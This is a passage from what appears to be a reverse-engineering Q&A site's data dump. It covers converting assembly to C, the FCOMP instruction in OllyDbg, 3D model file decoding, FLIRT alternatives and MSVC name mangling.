MOVZX ECX,BYTE PTR DS:[EAX]&#xA;71D3C44E     ADD ECX,DWORD PTR SS:[EBP-8]&#xA;71D3C451     MOV DWORD PTR SS:[EBP-8],ECX&#xA;71D3C454     MOV EDX,DWORD PTR SS:[EBP-8]&#xA;71D3C457     SHL EDX,1&#xA;71D3C459     MOV EAX,DWORD PTR SS:[EBP-8]&#xA;71D3C45C     AND EAX,80000000&#xA;71D3C461     SHR EAX,1F&#xA;71D3C464     OR EDX,EAX&#xA;71D3C466     MOV DWORD PTR SS:[EBP-8],EDX&#xA;71D3C469     JMP SHORT 71D3C416                       ; 71D3C416&#xA;71D3C46B     MOV EAX,DWORD PTR SS:[EBP-8]&#xA;71D3C46E     MOV ESP,EBP&#xA;71D3C470     POP EBP&#xA;71D3C471     RETN&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and this is my c code until now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;_71D3C400 (char*str, int len) {&#xA;    int var1 = 0; // [EBP-8]&#xA;    int var2 = 0; // [EBP-4]&#xA;&#xA;    goto _71D3C41F;&#xA;&#xA;_71D3C416:&#xA;    var2++;&#xA;&#xA;_71D3C41F:&#xA;    ECX = [EBP-4];&#xA;&#xA;71D3C422     CMP ECX,DWORD PTR SS:[EBP+C]&#xA;71D3C425     JNB SHORT 71D3C46B                       ; 71D3C46B&#xA;    if (str[var2] == 0x0D) {&#xA;        goto _71D3C443;&#xA;    }&#xA;&#xA;    if (str[var2] != 0x0A) {&#xA;        goto _71D3C445;&#xA;    }&#xA;&#xA;_71D3C443:&#xA;    goto _71D3C416;&#xA;&#xA;_71D3C445:&#xA;    var1 = str[var2] + var1;&#xA;    var1 = (var1 &amp;lt;&amp;lt; 1) | ((var1 &amp;amp; 0x80000000) &amp;gt;&amp;gt; 0x1F);&#xA;    goto _71D3C416;&#xA;&#xA;_71D3C46B:&#xA;    return var1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15218" LastActivityDate="2016-08-21T20:44:35.547" Title="Converting assembly function to c" Tags="|assembly|decompilation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13334" PostTypeId="2" ParentId="13333" CreationDate="2016-08-21T16:21:22.710" Score="3" Body="&lt;p&gt;This code may look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;int someFunction (char*str, int len) {&#xA;    int var1 = 0, var2 = 0;&#xA;&#xA;    while (var2 &amp;lt;= len) {&#xA;        if (str[var2] != '\r' &amp;amp;&amp;amp; str[var2] != '\n') {&#xA;            var1 = str[var2] + var1;&#xA;            var1 = (var1 &amp;lt;&amp;lt; 1) | ((var1 &amp;amp; 0x80000000) &amp;gt;&amp;gt; 0x1F);&#xA;        }&#xA;&#xA;        var2++;&#xA;    }&#xA;&#xA;    return var1;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You could also rewrite it using for loop &lt;code&gt;for(var2=0;var2&amp;lt;len;var2++)&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="17140" LastEditorUserId="15218" LastEditDate="2016-08-21T20:44:35.547" LastActivityDate="2016-08-21T20:44:35.547" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13335" PostTypeId="1" CreationDate="2016-08-21T17:50:50.220" Score="0" ViewCount="1919" Body="&lt;p&gt;I am using ProxyDroid to proxy everything to Charles Proxy. But by default Charles proxy (or any other similar programs like Fiddler, mitmproxy, etc..) only capture traffic on common ports such as 80, 8080, 443, 8443.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If an app is using a different port then the traffic would not show up in Charles proxy. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anyway to know which port the app is using? Or any way around the issue?&lt;/p&gt;&#xA;" OwnerUserId="16976" LastActivityDate="2018-03-07T11:09:33.413" Title="Capture traffic of android app on unknown port" Tags="|android|proxy|" AnswerCount="3" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13337" PostTypeId="2" ParentId="13332" CreationDate="2016-08-21T18:21:06.073" Score="2" Body="&lt;p&gt;Finally I've found an answer.&#xA;After parsing result lies into &lt;code&gt;$rbp-0xdo&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;(gdb) x/8w ((int*)($rbp-0xd0))&#xA;0x7fffffffdf90: 0x00000000      0x00001111      0x00002222      0x00003333&#xA;0x7fffffffdfa0: 0x00004444      0x00005555      0x00006666      0x00007777&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;when input is 0000:1111:2222:3333:4444:5555:6666:7777&#xA;So &lt;code&gt;$rbp-0xb8&lt;/code&gt; (var_b8) is similar to &lt;code&gt;$rbp-0xd0+0x18&lt;/code&gt;, just an offset to access part of parsed string.&lt;/p&gt;&#xA;" OwnerUserId="17140" LastActivityDate="2016-08-21T18:21:06.073" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13338" PostTypeId="1" AcceptedAnswerId="13340" CreationDate="2016-08-22T02:04:58.477" Score="0" ViewCount="437" Body="&lt;p&gt;I'm trying to reverse engineer an application made in vb6. At a certain point it compares an input number to a constant number, my goal here is to extract that number, now i found where the comparison is taken place:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;FCOMP QWORD PTR DS:[402CB0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Now I understand that FCOMP &lt;code&gt;Compares the contents of register ST(0) and source value&lt;/code&gt;. I don't know if I got this right, but from what I've read &lt;code&gt;DS:[402CB0]&lt;/code&gt; is pointer to an address that's holding the &lt;code&gt;source&lt;/code&gt; value, but using OllyDbg, and while navigating to that address (Ctrl + g), i found out that the value is &lt;code&gt;DB 00&lt;/code&gt; which is not correct&#xA;&lt;a href=&quot;https://i.stack.imgur.com/asFVN.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/asFVN.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;so my question here is how can I find the real value that is being compared?&#xA;and is it possible to make the &lt;code&gt;FCOMP&lt;/code&gt; compare a constant to a pointer of an integer?&lt;/p&gt;&#xA;" OwnerUserId="17186" LastEditorUserId="-1" LastEditDate="2020-06-17T09:54:32.040" LastActivityDate="2016-08-22T16:30:42.293" Title="Understanding FCOMP instruction and extracted value from address operand" Tags="|disassembly|assembly|ollydbg|float|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13339" PostTypeId="2" ParentId="13338" CreationDate="2016-08-22T05:31:38.917" Score="1" Body="&lt;p&gt;&lt;strong&gt;Understanding the assembly line&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;FCOMP QWORD PTR DS:[402CB0]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It checks for a qword sized operand. That is 8 bytes while your picture only shows about 3.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This comparison is also a floating point comparison, which is a bit more complex than an integer comparison.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It sets three control registers (&lt;code&gt;C0&lt;/code&gt;, &lt;code&gt;C2&lt;/code&gt;, &lt;code&gt;C3&lt;/code&gt;) depending on the outcome and raises an exception if either values is &lt;code&gt;NaN&lt;/code&gt; (could this be some kind of Anti debugging related exception?)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Getting to the actual content at the time of comparison&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although you can access the address now, it is not guaranteed the value you're looking at is the value that will end up being compared to your float.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You should make sure the debugger reaches that address when you inspect it. This can usually be done quite easily by setting a breakpoint (either software - OllyDbgv1's default or hardware - OllyDbgv2's default). Either right click on that assembly line -&gt; Breakpoint -&gt; Toggle or simply hit &lt;kbd&gt;F2&lt;/kbd&gt; while it's highlighted.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-08-22T12:07:16.660" LastActivityDate="2016-08-22T12:07:16.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13340" PostTypeId="2" ParentId="13338" CreationDate="2016-08-22T08:17:14.447" Score="1" Body="&lt;p&gt;&lt;code&gt;FCOMP&lt;/code&gt; Compares the &lt;code&gt;fpu register ST0&lt;/code&gt; with a &lt;code&gt;constant&lt;/code&gt;&lt;br&gt;&#xA;the &lt;code&gt;constant&lt;/code&gt; is a QWORD (Meaning DOUBLE , FLOAT , Etc 8+ bytes wide )   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg  can show both the &lt;code&gt;ST0 register&lt;/code&gt; and &lt;code&gt;decipher the contents of the CONSTANT&lt;/code&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in your case if shows &lt;code&gt;DB 00&lt;/code&gt; because the constant is &lt;code&gt;probably 0.0&lt;/code&gt; .    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you &lt;code&gt;have not set the dump view mode&lt;/code&gt; to appropriate format    &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the view mode you are looking at is &lt;code&gt;Disassembly (DB is Define Byte 00 is well 0x00 )&lt;/code&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;you may need to change the view mode  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;first &lt;code&gt;select the dump window&lt;/code&gt; then use &lt;code&gt;ctrl+g&lt;/code&gt; and then right click &lt;code&gt;select FLOAT&lt;/code&gt; . &lt;/p&gt;&#xA;&#xA;&lt;p&gt;ollydbg also has a small window between disassembly pane and dump pane &#xA;which can show both the source and destination contents   &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the screen shot below &#xA;you can observe how &lt;code&gt;783ef8 is DB 00 in Disassembly window and FLOAT 0.0 in Dump Pane&lt;/code&gt; . &#xA;you can observe how the &lt;code&gt;contents of register pane shows both the src and dest&lt;/code&gt; contents&#xA;you can observe how &lt;code&gt;fpu register window&lt;/code&gt; shows the &lt;code&gt;ST0&lt;/code&gt; contents&lt;a href=&quot;https://i.stack.imgur.com/VP4AX.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/VP4AX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="3473" LastActivityDate="2016-08-22T08:17:14.447" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13341" PostTypeId="1" CreationDate="2016-08-22T15:16:05.350" Score="2" ViewCount="158" Body="&lt;p&gt;I have a simple function which looks like that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;keyAlphabet = [-1, 16, 32, 127, 61, -32, -31, 43, 0, 88, 2, 5, 7, 112, 64, 69, 96]&#xA;key = ??? # only keyAlphabet values&#xA;p = 0x1337&#xA;for i in key:&#xA;...p*=i&#xA;...p+=0x31337&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally &lt;code&gt;p&lt;/code&gt; should be &lt;code&gt;0xfd0970e7&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried to subtract &lt;code&gt;0x31337&lt;/code&gt; from the final result and search dividers of that value from the &lt;code&gt;keyAlphabet&lt;/code&gt; (I've done that operation 8 times and after that multiple dividers came out, &lt;code&gt;0x12ef1e&lt;/code&gt; can be divided with &lt;code&gt;2,7&lt;/code&gt; and &lt;code&gt;61&lt;/code&gt;), but because of negative values (specially &lt;code&gt;-1&lt;/code&gt;) I'm not sure where should I change the sign. As a result I'm not able to find the key which will proceed values from &lt;code&gt;0x1337&lt;/code&gt; into &lt;code&gt;0xfd0970e7&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="17140" LastEditorUserId="15907" LastEditDate="2016-08-22T18:06:54.583" LastActivityDate="2016-08-22T18:06:54.583" Title="Restore function key" Tags="|python|functions|hex|" AnswerCount="0" CommentCount="10" ContentLicense="CC BY-SA 3.0" />
  <row Id="13342" PostTypeId="2" ParentId="4416" CreationDate="2016-08-22T16:59:10.747" Score="0" Body="&lt;p&gt;let's say for example:&#xA;&lt;code&gt;EBP = 00100000&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then:&#xA;&lt;code&gt;EBP+8 = 00100008&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then the code become:&#xA;&lt;code&gt;MOV ESI, DWORD PTR DS:[00100008]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this means copy to the register &lt;code&gt;ESI&lt;/code&gt; the dword that located in the address &lt;code&gt;00100008&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so you could write &lt;code&gt;MOV ESI, DWORD PTR DS:[00100008]&lt;/code&gt; in c as:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;int esi = *0x00100008;&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="15218" LastActivityDate="2016-08-22T16:59:10.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13344" PostTypeId="2" ParentId="13331" CreationDate="2016-08-22T23:40:38.057" Score="4" Body="&lt;p&gt;&lt;em&gt;Some preliminary notes only – may evolve into a complete answer.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;My approach was the following. Clearly, the numbers at the end are floating point numbers. Also, they are not &lt;em&gt;all&lt;/em&gt; floating point; the sequence &lt;code&gt;0C 00 00 00&lt;/code&gt; a few bytes in is &lt;em&gt;not&lt;/em&gt; a reasonable floating point number. Counting off to the next &quot;unreasonable&quot; value (which happened to be &lt;code&gt;0C 00 00 00&lt;/code&gt; again, but there are other values as well) told me the &lt;em&gt;stride&lt;/em&gt; of this data was &lt;code&gt;28&lt;/code&gt; bytes. (Which is 40 in decimal, but for documentation I strongly prefer hex.) If you have a capable hex viewer of which you can adjust the view width, you can see that this is correct if you set its view width to 40 characters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Counting back from the end in 40-byte steps gave me the most likely starting point of this sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The digits right before it are clearly at least 2-byte (unsigned short), and sort of increase from the start to the end. As this is a 3D model, I had a strong hunch they form &lt;em&gt;triangle data&lt;/em&gt;, so at least they should contain &lt;code&gt;a&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt;, and &lt;code&gt;c&lt;/code&gt; vertex indices, and possibly additional triangle attributes. This turned out, by trial and error, to be not the case. (The &quot;trial and error&quot; consisted of dumping them into a display program. As that worked straight away, further numerical investigations were unnecessary.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since this information is (1) enough to display an object, and (2) covers all of the data in the file apart from the few bytes at the start – which can be anything – I went on writing a full display program.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The first &lt;code&gt;004A&lt;/code&gt; bytes are unknown. They contain some floating point numbers (&lt;code&gt;00 00 80 3F&lt;/code&gt; is &lt;code&gt;1.0&lt;/code&gt;, as a little endian 4 byte floating point number), and they could be anything. (A scale is likely.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next 2 bytes form the number &lt;code&gt;0016&lt;/code&gt;, which is in decimals &lt;code&gt;22&lt;/code&gt;. This could be the internal 'object number'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, starting at &lt;code&gt;004C&lt;/code&gt;, &lt;code&gt;113h&lt;/code&gt; (313, in decimal) &lt;em&gt;triangle definitions&lt;/em&gt; follow. A single triangle definition consists of 3 unsigned short indices &lt;code&gt;a&lt;/code&gt;,&lt;code&gt;b&lt;/code&gt;,&lt;code&gt;c&lt;/code&gt;, which point to 3 &lt;em&gt;coordinates&lt;/em&gt;. The largest index in this list is &lt;code&gt;0117&lt;/code&gt;, a significant number!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right after this, &lt;code&gt;0118&lt;/code&gt; &lt;em&gt;3D points&lt;/em&gt; follow. Each 3D point has the following structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;float x&#xA;float y&#xA;float z&#xA;float unknown (usually 1.0?)&#xA;unsigned int unknown&#xA;float normal_x&#xA;float normal_y&#xA;float normal_z&#xA;float u   \&#xA;float v   / correct; see bottom update&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Affirming that the 3 &lt;code&gt;normal_*&lt;/code&gt; variables indeed form a normal can be done by adding their squares together; they should hover around a value of &lt;code&gt;1.0&lt;/code&gt;. That is correct for the first hundred or so of these coordinates, up to 3 decimals of accuracy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.000004&#xA;1.000080&#xA;0.999935&#xA;1.000076&#xA;0.999936&#xA;(and so on)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Adding up the sizes of all coordinate elements leads to a total size of &lt;code&gt;28&lt;/code&gt; bytes (40, in decimal), and:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;the remaining part of the file is a multiple of this;&lt;/li&gt;&#xA;&lt;li&gt;dividing the size of the remaining part by &lt;code&gt;28&lt;/code&gt; results in &lt;code&gt;118&lt;/code&gt; (280, in decimal).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The significance of the 'highest index' in the triangle list is therefore proven :) They are indeed coordinate indices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where do these numbers &lt;code&gt;139h&lt;/code&gt; and &lt;code&gt;118h&lt;/code&gt; come from? They appear in the header part of the entire file!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the proof that the first 3 elements are indeed &lt;em&gt;x&lt;/em&gt;, &lt;em&gt;y&lt;/em&gt;, and &lt;em&gt;z&lt;/em&gt;. I plotted &lt;em&gt;x&lt;/em&gt; and &lt;em&gt;y&lt;/em&gt; only, with &lt;em&gt;y&lt;/em&gt; inverted (negative towards the bottom of the screen). You can clearly recognize the 'body' part of your in-game image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/kJQgG.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/kJQgG.png&quot; alt=&quot;a wireframe body&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Not &lt;em&gt;all&lt;/em&gt; coordinates are quite the same. The &lt;code&gt;unknown_1&lt;/code&gt; float value is &lt;code&gt;1.000&lt;/code&gt; for the first 173 coordinates, then jumps to other values for the remainders. Similarly, the integer &lt;code&gt;unknown_2&lt;/code&gt; hovers between values from &lt;code&gt;4&lt;/code&gt; to &lt;code&gt;43&lt;/code&gt; for these, and then jumps to a much higher value. This needs some further investigation.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;u&lt;/code&gt;,&lt;code&gt;v&lt;/code&gt; values can be mapped onto the source image directly. They are expressed in a floating point range from &lt;code&gt;0..1&lt;/code&gt; so you need to multiply them by the source image's width and height. Here is an image of that:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/pVv4j.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/pVv4j.png&quot; alt=&quot;texture coordinates&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The unused parts of the image are presumably used by other 3D models.&lt;/p&gt;&#xA;" OwnerUserId="2959" LastEditorUserId="2959" LastEditDate="2016-08-23T22:42:21.783" LastActivityDate="2016-08-23T22:42:21.783" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="13345" PostTypeId="1" CreationDate="2016-08-23T08:59:50.813" Score="9" ViewCount="1695" Body="&lt;p&gt;I am using a C disassembler and I need to identify compiler-intrinsic functions (i.e. SEH_prolog, SEH_epilog etc.) within my C program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, the only way I can do that is to use IDA's &lt;a href=&quot;https://www.hex-rays.com/products/ida/tech/flirt/in_depth.shtml&quot; rel=&quot;nofollow noreferrer&quot;&gt;FLIRT&lt;/a&gt; (Fast Library Identification and Recognition Technology) engine to mark the RVA of these functions and use this database as reference in my program.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is whether there are any open-source/free equivalents engines that can be embedded inside my C program in order to recognize known-functions using heuristics?&lt;/p&gt;&#xA;" OwnerUserId="17202" LastEditorUserId="18698" LastEditDate="2017-08-17T05:59:26.313" LastActivityDate="2017-08-17T05:59:26.313" Title="Open-source equivalent for FLIRT" Tags="|ida|debugging|idapython|flirt-signatures|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13346" PostTypeId="2" ParentId="8584" CreationDate="2016-08-23T16:52:00.083" Score="2" Body="&lt;p&gt;I think this is too late but let's reply though.&#xA;By default ImpREC has &quot;Use PE Header From Disk&quot; enabled. Which means it will NOT use the relocated DLL imagebase. 2 options :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1 - Untick it in options and reselect your target&lt;/li&gt;&#xA;&lt;li&gt;2 - Use a custom PE header with Advanced commands / Load PE Header&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;-&gt; First choice is the best for your case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Explaination : the reason &quot;Use PE Header From Disk&quot; is enabled by default, comes from protector which destroys the header in memory so it's best to rely on disk but it's bad for DLL.&lt;/p&gt;&#xA;" OwnerUserId="17206" LastActivityDate="2016-08-23T16:52:00.083" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13347" PostTypeId="2" ParentId="13345" CreationDate="2016-08-23T21:26:38.677" Score="6" Body="&lt;p&gt;There is &lt;a href=&quot;http://rada.re&quot; rel=&quot;noreferrer&quot;&gt;radare2&lt;/a&gt; tool and framework, written in pure C, as an embeddable and a portable library - almost all functionality available via C API and r2pipe API. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are options to support:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;FLIRT itself - r2 supports this format (see 'zF' commands)&lt;/li&gt;&#xA;&lt;li&gt;Zignatures - internal format of r2 (see 'z?' command for help)&lt;/li&gt;&#xA;&lt;li&gt;Yara signatures - requires an installed yara plugin via r2pm (provides a 'yara' command)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="38" LastEditorUserId="38" LastEditDate="2016-08-24T09:37:54.753" LastActivityDate="2016-08-24T09:37:54.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13349" PostTypeId="2" ParentId="13345" CreationDate="2016-08-24T07:15:23.717" Score="4" Body="&lt;p&gt;There is also &lt;a href=&quot;https://github.com/cea-sec/Sibyl&quot; rel=&quot;nofollow&quot;&gt;Sibyl&lt;/a&gt;, an open-source tool based on &lt;a href=&quot;https://github.com/cea-sec/miasm&quot; rel=&quot;nofollow&quot;&gt;Miasm2&lt;/a&gt; that performs function divination.&lt;/p&gt;&#xA;" OwnerUserId="17216" LastActivityDate="2016-08-24T07:15:23.717" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13350" PostTypeId="2" ParentId="11190" CreationDate="2016-08-24T07:43:30.637" Score="1" Body="&lt;p&gt;Assuming this game is a bit more complex than a 8bit console game I'm afraid hooking &lt;code&gt;getchar()&lt;/code&gt; and the likes won't do you much good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With Windows windowed/full screen games, input is received by handling window messages, usually in a message loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In such cases, each window has its own message processing loop, in witch it constantly calls &lt;code&gt;GetMessage()&lt;/code&gt; to receive events it should react to, such as key presses. &lt;code&gt;GetMessage()&lt;/code&gt;s first parameter is a pointer to &lt;code&gt;MSG&lt;/code&gt; structure which it populates with the next message after removing it from the queue.&#xA;Go &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms644928(v=vs.85).aspx#creating_loop&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for a message loop example, &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms644936(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for &lt;code&gt;GetMessage()&lt;/code&gt; documentation, and finally &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms644958(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; for the &lt;code&gt;MSG&lt;/code&gt; structure documentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In that case you should place breakpoints on:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;code&gt;GetMessage&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;PeekMessage&lt;/code&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;After you've got to the message loop, you'll probably encounter a medium sized switch-case handling the different message types. That switch-case should read the &lt;code&gt;MSG&lt;/code&gt; structure's &lt;code&gt;message&lt;/code&gt; member for message types that belong to the keyboard. most commonly those are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms646280(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WM_KEYDOWN&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms646281(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WM_KEYUP&lt;/code&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms646276(v=vs.85).aspx&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;WM_CHAR&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Once you've found the case handling those types, you should be pretty close to the function you're looking for. That case will most-likely do a few lines for code worth of parameter preparations and then call the function you're looking for.&lt;/p&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="2147" LastEditDate="2016-08-24T08:50:06.393" LastActivityDate="2016-08-24T08:50:06.393" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13351" PostTypeId="1" AcceptedAnswerId="13353" CreationDate="2016-08-24T14:48:43.167" Score="0" ViewCount="466" Body="&lt;p&gt;Seems to be a question of no importance, but I'm just curious: Is there a deeper meaning of the preceeding (single/double) &lt;code&gt;?&lt;/code&gt;-marks, &lt;code&gt;@&lt;/code&gt;-signs or &lt;code&gt;__&lt;/code&gt; underscores in these different &lt;code&gt;call&lt;/code&gt; instructions?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;call ??2@YAPAXI@Z&#xA;call ??0CAdviseObject@CBLObject@@QAE@PAUIDispatch@@PAVCBLInstance@@@Z&#xA;call ?StartAutoReconnect@CBLObject@@IAEXIH@Z&#xA;call @__security_check_cookie@4&#xA;call __SEH_epilog&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="15907" LastActivityDate="2016-08-24T16:13:16.840" Title="Call instruction - preceding ?@_ in references?" Tags="|ida|disassembly|assembly|call|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13352" PostTypeId="2" ParentId="13351" CreationDate="2016-08-24T15:53:34.360" Score="2" Body="&lt;p&gt;These are so-called &quot;mangled&quot; or &quot;decorated&quot; names. You can use undname utility from Visual Stduio to demangle them:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void * __cdecl operator new(unsigned int)&#xA;public: __thiscall CBLObject::CAdviseObject::CAdviseObject(struct IDispatch *,cl&#xA;ass CBLInstance *)&#xA;protected: void __thiscall CBLObject::StartAutoReconnect(unsigned int,int)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For more info: &lt;a href=&quot;https://en.wikipedia.org/wiki/Name_mangling&quot; rel=&quot;nofollow&quot;&gt;Wikipedia&lt;/a&gt;, &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/deaxefa7.aspx&quot; rel=&quot;nofollow&quot;&gt;MSDN&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2016-08-24T15:53:34.360" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
